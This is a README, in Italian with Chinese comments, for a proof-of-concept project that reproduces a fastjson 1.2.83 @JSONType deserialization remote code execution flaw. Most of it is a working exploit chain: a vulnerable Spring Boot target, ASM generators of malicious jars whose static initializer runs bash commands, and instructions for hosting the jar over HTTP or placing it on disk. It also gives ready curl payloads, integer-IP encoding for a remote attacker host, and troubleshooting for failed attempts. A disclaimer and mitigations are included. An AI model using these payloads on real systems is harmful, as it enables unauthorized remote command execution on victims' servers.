
Riproduce la RCE di @JSONType di fastjson 1.2.83 con un target Spring Boot vulnerabile e un generatore di payload basato su ASM che utilizza catene jar tramite protocollo HTTP o file.
@JSONType
Progetto di riproduzione del caricamento remoto di classi / esecuzione di comandi in fastjson 1.2.66 ~ 1.2.83 tramite annotazione @JSONType + nome di classe illegale + protocollo jar:.
⚠️ Dichiarazione di non responsabilità
Questo progetto è destinato esclusivamente a ricerca sulla sicurezza, riproduzione di vulnerabilità e test autorizzati. È severamente vietato l'uso su sistemi non autorizzati, per attacchi illegali o scopi dannosi. L'utilizzatore si assume la piena responsabilità delle proprie azioni; l'autore non si assume alcuna responsabilità legale per eventuali abusi.
Articolo di analisi della vulnerabilità: https://mp.weixin.qq.com/s/_4Tnren1hIBToZvHlaKq8w
Questo progetto realizza un ambiente completo di riproduzione della vulnerabilità fastjson 1.2.83 incentrato su CVE-2026-16723:
demo/ — applicazione Web Spring Boot 2.7.18 vulnerabile (dipende da fastjson 1.2.83), espone l'endpoint POST /parse che chiama direttamente JSON.parse(json);exp/ — generatore di jar probe dannosi basato su ASM (due forme: protocollo HTTP / protocollo FILE);环境/ — FatJar precompilati per tre middleware (Tomcat / Jetty / Undertow), pronti all'uso.Idea chiave dello sfruttamento: costruendo uno speciale JSON con @type impostato a jar URL, si costringe fastjson a seguire il ramo fidato dell'annotazione @JSONType → getResourceAsStream scarica il jar remoto/locale → defineClass carica la classe dannosa → l'inizializzazione della classe attiva <clinit> → esecuzione arbitraria di comandi (RCE).
JSON.parse(json) o JSON.parseObject(json) per analizzare direttamente input non attendibili, con versione fastjson in 1.2.66 ~ 1.2.83 e safeMode non attivato;java -jar, LaunchedURLClassLoader, solo Spring Boot ≤ 2.7 mantiene la capacità di fallback dell'Handler del protocollo jar:);defineClass genera ClassFormatError; al massimo si riesce a fare SSRF);Il checkAutoType di fastjson, quando incontra una classe annotata con @JSONType, entra nel ramo fidato, saltando la maggior parte dei controlli in blacklist e consentendo il caricamento. Questo progetto sfrutta proprio questo: usando ASM per scrivere direttamente il bytecode, inserisce un «nome di classe interna illegale» nel campo this_class del constant pool della classe, allineando perfettamente i tre nomi:
@type jar:http:..2130706433:19090.x!.y (点形态,无斜杠)
resource jar:http://2130706433:19090/x!/y.class (点 -> 斜杠)
this_class jar:http://2130706433:19090/x!/y (字节码内部类名)
Struttura della classe dannosa:
@JSONType — la chiave che apre il ramo fidato di checkAutoType di fastjson;<init>()V — garantisce che fastjson possa istanziare normalmente la classe;<clinit> — esegue Runtime.exec(new String[]{"/bin/bash", "-c", "<cmd>"}) al caricamento/inizializzazione della classe, realizzando l'esecuzione di comandi.Un nome di classe illegale non può essere scritto con
javac; solo ASM può scrivere direttamente l'URL nel constant pool — per questo il generatore di questo progetto dipende daasm-9.6.jar.
CVE-2026-16723_fastjson-jsontype漏洞/
├── 笔记.txt # 快速利用速查(http / file 协议两条命令)
├── demo/ # 漏洞靶场源码(Spring Boot 2.7.18 + fastjson 1.2.83)
│ └── src/main/java/com/example/demo/
│ ├── DemoApplication.java
│ └── controller/VulController.java # POST /parse -> JSON.parse(json)
├── exp/ # 恶意探针 jar 生成器
│ ├── GenProbeHttp.java # HTTP 协议链(jar:http)
│ ├── GenProbefile.java # FILE 协议链(jar:file)
│ └── asm-9.6.jar # ASM 字节码操作库
└── 环境/ # 预编译靶场 FatJar(开箱即用)
├── demo-0.0.1-SNAPSHOT.jar # Tomcat 中间件
├── demo-0.0.1-SNAPSHOT-jetty.jar # Jetty 中间件
├── demo-0.0.1-SNAPSHOT-Undertow.jar # Undertow 中间件
└── asm-9.6.jar
demo/src/main/java/com/example/demo/controller/VulController.java:
@PostMapping("/parse")
public String parse(@RequestBody String json) {
ParserConfig.getGlobalInstance().setAsmEnable(false);
ParserConfig.getGlobalInstance().setDefaultClassLoader(ParserConfig.class.getClassLoader());
JSON.parse(json); // 未指定类型,直接解析不可信输入
return "Parsed!";
}
Il lab deve essere eseguito con JDK 8 (coerente con le condizioni di sfruttamento).
# 方式 A(推荐):直接使用预编译 FatJar,三种中间件任选
java -jar ../环境/demo-0.0.1-SNAPSHOT.jar # Tomcat
java -jar ../环境/demo-0.0.1-SNAPSHOT-jetty.jar # Jetty
java -jar ../环境/demo-0.0.1-SNAPSHOT-Undertow.jar # Undertow
# 方式 B:源码构建运行(默认 Tomcat,需本机安装 Maven)
cd demo
mvn spring-boot:run
Dopo l'avvio, l'endpoint è: http://127.0.0.1:8080/parse
cd exp
javac -cp asm-9.6.jar GenProbeHttp.java
java -cp asm-9.6.jar:. GenProbeHttp 19090 'open -a Calculator'
19090 — porta HTTP di hosting del jar dannosoopen -a Calculator — comando da eseguire sulla macchina target (su macOS apre la calcolatrice; su Linux si può usare id > /tmp/pwned 2>&1 e verificare se il file esiste)Il file generato di default è x (senza estensione) e contiene y.class; il payload è:
{"@type":"jar:http:..2130706433:19090.x!.y","x":1}
python3 -m http.server 19090
Assicurati che
python3 -m http.servervenga avviato nella directory in cui è stato generato il filex.
curl -X POST http://127.0.0.1:8080/parse \
-H 'Content-Type: application/json' \
-d '{"@type":"jar:http:..2130706433:19090.x!.y","x":1}'
Il risultato dell'esecuzione del comando non viene restituito nella risposta HTTP; è necessario verificarlo sulla macchina target:
# Linux 目标
cat /tmp/pwned # 能看到 uid=... 即命令执行成功
# macOS 目标
# 观察是否弹出计算器(open -a Calculator)
Scenario di utilizzo: il target non può accedere alla porta HTTP della macchina dell'attaccante (isolamento della rete interna / traffico in uscita limitato), ma è possibile posizionare il file jar sul file system della macchina target.
cd exp
javac -cp asm-9.6.jar GenProbefile.java
java -cp asm-9.6.jar:. GenProbefile 19090 'open -a Calculator'
Il generatore calcola l'URL jar:file: in base alla directory corrente (il separatore di directory / viene sostituito con .); ad esempio, se il file viene generato in /tmp/project/exp, il payload sarà:
{"@type":"jar:file:.tmp.project.exp.y!.x","x":1}
Carica/copia il file generato y nel percorso assoluto della macchina target corrispondente a @type (ad es. /tmp/project/exp/y), mantenendo identica la struttura delle directory.
curl -X POST http://127.0.0.1:8080/parse \
-H 'Content-Type: application/json' \
-d '{"@type":"jar:file:.tmp.project.exp.y!.x","x":1}'
Nota: il percorso della catena protocollo FILE deve essere esattamente identico al percorso reale del file sulla macchina target, altrimenti il resource probing fallisce e il caricamento non viene attivato.
2130706433 è l'intero senza segno a 32 bit di 127.0.0.1; scrivere l'IP come intero evita che il . dell'IP venga alterato dalla logica di sostituzione . → / di fastjson. Quando la macchina dell'attaccante non è locale:
python3 -c "import socket,struct;print(struct.unpack('!I',socket.inet_aton('你的IP'))[0])"
autoType is not support. jar:http:...Indica che il jar può essere scaricato (la SSRF è confermata), ma TypeUtils.loadClass restituisce null. Le cause possibili sono quasi esclusivamente due:
@JSONType — la probe non supera il ramo fidato e non arriva proprio a loadClass;@type — il nome della classe in defineClass non corrisponde, quindi il caricamento fallisce.Il generatore di questo progetto risolve entrambi i punti: annotazione @JSONType + allineamento dei tre nomi.
Se il ClassLoader del target non è LaunchedURLClassLoader (ad es. esecuzione diretta da IDE, pacchetto war normale, Spring Boot 3.x), la singola catena jar:http non riesce a ottenere la RCE; al massimo si può verificare la SSRF.
Su JDK 9+ defineClass applica controlli più severi sui nomi di classe illegali e genera ClassFormatError; la catena si interrompe in fase di caricamento.
ParserConfig.getGlobalInstance().setSafeMode(true); disabilita completamente autoType;JSON.parse(json) / JSON.parseObject(json) su input utente; usa invece JSON.parseObject(json, Xxx.class) specificando esplicitamente il tipo di destinazione;ParserConfig.addAccept(...) consenti solo classi attendibili;@type sospetti.Se questo progetto ti è stato utile, lascia una ⭐ Star per sostenere la ricerca sulla sicurezza e la documentazione delle vulnerabilità.
⚠️ Utilizzalo solo per test autorizzati, mai per scopi illegali!
| Progetto | Contenuto |
|---|
| CVE | CVE-2026-16723 |
| Componente | Alibaba fastjson |
| Versioni interessate | 1.2.66 ~ 1.2.83 (anche l'ultima versione 1.x è vulnerabile) |
| Tipo di vulnerabilità | Esecuzione remota di codice tramite deserializzazione (RCE) |
| Punto di ingresso | JSON.parse(json) / JSON.parseObject(json) (senza specificare un tipo concreto) |
| Prerequisiti | Target Spring Boot FatJar, JDK 8, safeMode disattivato |
| Parametro | Valore predefinito | Descrizione |
|---|
port | 19090 | Porta di hosting del jar dannoso |
cmd | id > /tmp/pwned 2>&1 | Comando eseguito sulla macchina target |
hostToken | 2130706433 | IP in forma intera per l'accesso del target (127.0.0.1) |
entry | y | Nome della voce class all'interno del jar |
outFile | x | Nome del file jar generato (senza estensione) |
| Parametro | Valore predefinito | Descrizione |
|---|
port | 19090 | Parametro riservato (la catena FILE non usa la porta) |
cmd | id > /tmp/pwned 2>&1 | Comando eseguito sulla macchina target |
dir | directory corrente | Directory del jar sulla macchina target (usata per generare l'URL jar:file:) |
entry | x | Nome della voce class all'interno del jar |
outFile | y | Nome del file jar generato (senza estensione) |